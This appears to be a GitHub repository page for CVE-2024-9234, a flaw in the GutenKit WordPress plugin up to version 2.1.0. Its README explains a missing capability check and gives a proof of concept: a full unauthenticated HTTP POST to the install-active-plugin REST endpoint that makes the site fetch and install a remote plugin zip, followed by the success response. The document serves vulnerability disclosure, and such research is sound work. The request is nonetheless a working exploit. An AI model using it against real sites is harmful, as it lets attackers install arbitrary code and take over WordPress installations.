https://github.com/randomrobbiebf/cve-2024-9234

GutenKit <= 2.1.0 - Unauthenticated Arbitrary File Upload
https://github.com/randomrobbiebf/cve-2024-9234

Last synced: about 1 month ago
JSON representation

GutenKit <= 2.1.0 - Unauthenticated Arbitrary File Upload

• Host: GitHub
• URL: https://github.com/randomrobbiebf/cve-2024-9234
• Owner: RandomRobbieBF
• Created: 2024-10-17T18:48:12.000Z (2 months ago)
• Default Branch: main
• Last Pushed: 2024-10-17T18:49:22.000Z (2 months ago)
• Last Synced: 2024-10-20T04:28:12.561Z (2 months ago)
• Size: 1.95 KB
• Stars: 1
• Watchers: 1
• Forks: 0
• Open Issues: 0
• Metadata Files:
  • Readme: README.md

Awesome Lists containing this project

README

        
# CVE-2024-9234

GutenKit <= 2.1.0 - Unauthenticated Arbitrary File Upload

# Description

The GutenKit – Page Builder Blocks, Patterns, and Templates for Gutenberg Block Editor plugin for WordPress is vulnerable to arbitrary file uploads due to a missing capability check on the install_and_activate_plugin_from_external() function (install-active-plugin REST API endpoint) in all versions up to, and including, 2.1.0. This makes it possible for unauthenticated attackers to install and activate arbitrary plugins, or utilize the functionality to upload arbitrary files spoofed like plugins.

```

Type: plugin

CVSS Score: 9.8

CVE: CVE-2024-9234

Slug: gutenkit-blocks-addon

```

Download Link: [Download gutenkit-blocks-addon Version 2.1.0](https://downloads.wordpress.org/plugin/gutenkit-blocks-addon.2.1.0.zip)

POC

--

```

POST /wp-json/gutenkit/v1/install-active-plugin HTTP/2

Host: wpscan-vulnerability-test-bench.ddev.site

Content-Type: application/json

Content-Length: 114

{

  "plugin": "https://downloads.wordpress.org/plugin/popularis-extra.1.2.6.zip",

  "slug": "popularis-extra"

}

```

```

{"success":true,"data":"Plugin installed successfully!"}

```